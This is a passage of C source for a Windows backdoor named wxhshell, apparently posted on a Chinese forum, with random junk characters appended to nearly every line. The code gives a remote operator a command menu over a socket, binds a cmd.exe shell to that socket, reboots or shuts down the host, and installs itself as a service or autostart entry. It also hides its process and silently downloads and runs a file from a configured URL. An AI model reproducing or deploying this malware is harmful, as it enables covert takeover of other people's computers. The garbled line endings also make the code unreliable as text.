    switch(cmd[0]) { >P(.:_ ^p  
  Uo49*Mr  
  // 帮助 F4QVAOM]U  
  case '?': { :jf3HG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &{:-]g\  
    break; gXU8hTd8  
  } u8^lB7!e/  
  // 安装  7GGUV  
  case 'i': { (Ldi|jL  
    if(Install()) Iu{V,U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k6^Z~5 Sy  
    else qq?!LEZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rv;3~'V  
    break; :RYTL'hes  
    } 7<4qQ.deE  
  // 卸载 XW/o<[91  
  case 'r': { crCJrN=  
    if(Uninstall()) \8tsDG(1 '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H,J8M{  
    else l;U?Z'n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tPvpJX6kP  
    break; =4!mAo}  
    } 9WHddDA  
  // 显示 wxhshell 所在路径 xw%0>K[  
  case 'p': { ]9-\~Mwh  
    char svExeFile[MAX_PATH]; M|-)GvR$J  
    strcpy(svExeFile,"\n\r"); Bvj0^fSm  
      strcat(svExeFile,ExeFile); zs;JJk^  
        send(wsh,svExeFile,strlen(svExeFile),0); }]Tx lSp!;  
    break; *hrd5na  
    } V&i;\9  
  // 重启 GbyJ:  
  case 'b': { Ac6=(B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %y@AA>x!  
    if(Boot(REBOOT)) g0H[*"hj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 c}E(8e]  
    else { Rcv9mj]l  
    closesocket(wsh); <3iMRe  
    ExitThread(0); $'TM0Yu,  
    } 49P 4b<1  
    break; c> af  
    } GILfbNcd  
  // 关机 }G=M2V<L  
  case 'd': { X]=t>   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;<5q]/IHK  
    if(Boot(SHUTDOWN)) )"LJ hLg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g}i61(  
    else { ]_Xlq_[/r  
    closesocket(wsh); Ru XC(qcq  
    ExitThread(0); =;k|*Ny  
    } neh(<>  
    break; =43auFY-P  
    } @o^Ww  
  // 获取shell ;jPXs  
  case 's': { e )ZUO_Q$  
    CmdShell(wsh); AGno6g  
    closesocket(wsh); D$N /FJ8|G  
    ExitThread(0); ,Q,^3*HX9}  
    break; BY*Q_Et  
  } E4!Fupkpf  
  // 退出 \ jA~9  
  case 'x': { +"(jjxJm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !BI;C(,RL  
    CloseIt(wsh); #g=XUZ/"  
    break; V]N?6\Op  
    } "KlwA.7/  
  // 离开 _m>b2I?  
  case 'q': { "L1Zi.)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d3Rw!slIq  
    closesocket(wsh); ':W[A  
    WSACleanup(); HDKbF/  
    exit(1); ] - .aL  
    break; ddo#P%sH'  
        } -N@|QK>  
  } -/k 3a*$/  
  } & ~!Wym  
} %z   
  // 提示信息 aT<q=DO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t Pf40`@  
} cAy3^{3:  
  } Ie^l~ Gb  
f5k6`7Vj]  
  return; =EIkD9u  
} $N\Ja*g  
mTh]PPo   
// shell模块句柄 zJXplvaL;  
int CmdShell(SOCKET sock) z=FZiH  
{ .-=vx r  
STARTUPINFO si; s(^mZ -i  
ZeroMemory(&si,sizeof(si)); R4@6G&2d>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^(<f/C)i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @KA4N`  
PROCESS_INFORMATION ProcessInfo; V:27)]q  
char cmdline[]="cmd"; S$k&vc(0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [2koe.?(  
  return 0; b2]Kx&!  
} jIF |P-  
Bf:Q2slqI  
// 自身启动模式 B:QHwzd  
int StartFromService(void) BD-AI  
{ Q^I\cAIB  
typedef struct nd(S3rct&  
{ .KC ++\{HE  
  DWORD ExitStatus; @H<q"-J  
  DWORD PebBaseAddress; U3kyraj  
  DWORD AffinityMask; {^'HL   
  DWORD BasePriority; 4~=l}H>&  
  ULONG UniqueProcessId; 0ksa  
  ULONG InheritedFromUniqueProcessId; ?}7p"3j'z  
}   PROCESS_BASIC_INFORMATION; <| &Npd'  
, dp0;nkr  
PROCNTQSIP NtQueryInformationProcess; 5coZ|O&f8  
rH>)oThA#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a: S -  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X(C$@N  
PzGWff!*n  
  HANDLE             hProcess; [:V$y1  
  PROCESS_BASIC_INFORMATION pbi; %UM *79  
8X0z~ &  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b6M  
  if(NULL == hInst ) return 0; *' X3z@R  
v LZoa-w:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wl Sm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sc   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZC}QId  
fAmz4  
  if (!NtQueryInformationProcess) return 0; y==CT Y@  
Ev P{p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i?~3*#IpD  
  if(!hProcess) return 0; !Uc T RI  
d7i]FV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X7 w Ky(g  
nOz.G"  
  CloseHandle(hProcess); g1o8._f.  
3,=6@U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $g7<Y*t[  
if(hProcess==NULL) return 0; frQ{iUx  
H.2QKws^F  
HMODULE hMod; J$!iq|  
char procName[255]; '{`$#@a.  
unsigned long cbNeeded; $kKjgQ S(  
eY\y E"3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f9;(C4+  
xvy.=(  
  CloseHandle(hProcess); F>cv<l =6l  
@K]|K]cby  
if(strstr(procName,"services")) return 1; // 以服务启动 *:NQ&y*uj  
:lzrgsW  
  return 0; // 注册表启动 _?OG1t!  
} JG,%qFlk  
MWL% Bz  
// 主模块 9mFE?J  
int StartWxhshell(LPSTR lpCmdLine) 63A.@mL  
{ X$pJ :M{F$  
  SOCKET wsl; 7= DdrG<  
BOOL val=TRUE; >U3cTEs cj  
  int port=0; n}V_,:Z  
  struct sockaddr_in door; `KQvJjA6  
4H-'Dr=G  
  if(wscfg.ws_autoins) Install(); Tqk\XILG N  
iyp=lLk  
port=atoi(lpCmdLine); yA>nli=  
z~Q>V]a>;  
if(port<=0) port=wscfg.ws_port; 4{l,  
3t6 LT  
  WSADATA data; 9I/N4sou  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w\brVnt  
t_suF$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ki~1qu:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4g7)iL^#~  
  door.sin_family = AF_INET; Y#3c }qb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VYhbx 'e  
  door.sin_port = htons(port); !3v1bGk  
l0hlM#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _7)n(1h[3b  
closesocket(wsl); ->{KVPHe{  
return 1; +H2-ZXr  
} 3Le{\}-$.  
XGMiW0j0B  
  if(listen(wsl,2) == INVALID_SOCKET) { IkXx# )  
closesocket(wsl); s!e3|pGS  
return 1; M:6"H%h,W  
} I0 RvnMw  
  Wxhshell(wsl); 8Bg;Kh6B  
  WSACleanup(); \r>6`-cs]  
k: ;WtBC6j  
return 0; jZ3fKyp#   
0P(!j_2m  
} 1>&]R=  
O,A{3DAe0  
// 以NT服务方式启动 ~3S~\0&|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -B\HI*u  
{ zkdetrR  
DWORD   status = 0;  :#~j:C|  
  DWORD   specificError = 0xfffffff; :Xd<74Nu  
.y,0[i V N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~| 6[j<ziL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %9RF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !#" zTj  
  serviceStatus.dwWin32ExitCode     = 0;  =4!e&o  
  serviceStatus.dwServiceSpecificExitCode = 0; C\/L v.  
  serviceStatus.dwCheckPoint       = 0; 6B ?twh)  
  serviceStatus.dwWaitHint       = 0; ivz5H(b  
-[DOe?T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "v4B5:bmqW  
  if (hServiceStatusHandle==0) return; 5Zva:  
.eP.&  
status = GetLastError(); g|Fn7]G  
  if (status!=NO_ERROR) ]}(H0?OQR  
{ P}G+4Sk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D{~fDRR  
    serviceStatus.dwCheckPoint       = 0; U!Z,xx[]  
    serviceStatus.dwWaitHint       = 0; A$xF$l  
    serviceStatus.dwWin32ExitCode     = status; (/*]?Ehd  
    serviceStatus.dwServiceSpecificExitCode = specificError; FtC^5{V+V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r{%qf;  
    return; ~<OSYb  
  } #`X?=/q  
ApXy=?fc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f8.gT49I  
  serviceStatus.dwCheckPoint       = 0; G<^{&E+=  
  serviceStatus.dwWaitHint       = 0; rI-%be==  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'anG:=  
} 9lDhIqx0~  
v2;`f+  
// 处理NT服务事件,比如:启动、停止 ,T8~L#M~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nmi|\mof  
{ N<KS(@v y  
switch(fdwControl) O|N{ v"o  
{ *~j@*{u  
case SERVICE_CONTROL_STOP: q,U+qt  
  serviceStatus.dwWin32ExitCode = 0; f! .<$ih  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _aMPa+D=P  
  serviceStatus.dwCheckPoint   = 0; Yr=Y@~ XL  
  serviceStatus.dwWaitHint     = 0; 1s@+;QUib  
  { 3fJc 9|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @<]Ekkg  
  } h@WhNk7"xa  
  return; ?r+-  
case SERVICE_CONTROL_PAUSE: {Z5nGG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'W,jMju  
  break; 1&(V   
case SERVICE_CONTROL_CONTINUE: ;x1 PS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ; XN{x  
  break; :7?FF'u  
case SERVICE_CONTROL_INTERROGATE: qXtC^n@x  
  break; ["e3Ez  
}; U\<?z Dw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7y@Pa&^8  
} B=A [ymm  
JyOo1E.  
// 标准应用程序主函数 c+nq] xOs'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0aa&m[Mk  
{ 5vZ^0yFQ  
&;sP_ h  
// 获取操作系统版本 ce3YCflt  
OsIsNt=GetOsVer(); gH7|=W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5K?IDt7A]  
*6F[t.Or  
  // 从命令行安装 Yv!a88+A8M  
  if(strpbrk(lpCmdLine,"iI")) Install(); E6gI,f/p0X  
]Y8<`;8/  
  // 下载执行文件 zXxT%ZcCj  
if(wscfg.ws_downexe) { )fSOi| |C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |(LZ9I  
  WinExec(wscfg.ws_filenam,SW_HIDE); dg"3rs /?A  
} J 9iy  
X;c'[q  
if(!OsIsNt) { tX %5BTv  
// 如果时win9x,隐藏进程并且设置为注册表启动 >!1.  
HideProc(); Jrpx}2'9:a  
StartWxhshell(lpCmdLine);  J@Q7p}  
} /j|G(vt5  
else .:QLk&a,:,  
  if(StartFromService()) aL&7 1^R,  
  // 以服务方式启动 H_X [t*2  
  StartServiceCtrlDispatcher(DispatchTable); w{@o^rs  
else %k?U9pj^  
  // 普通方式启动 ;Q*or2"!  
  StartWxhshell(lpCmdLine); l +OFw)8od  
u=7J /!H7^  
return 0; 7.#F,Ue_0T  
}
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只看该作者 1 发表于: 2006-10-10
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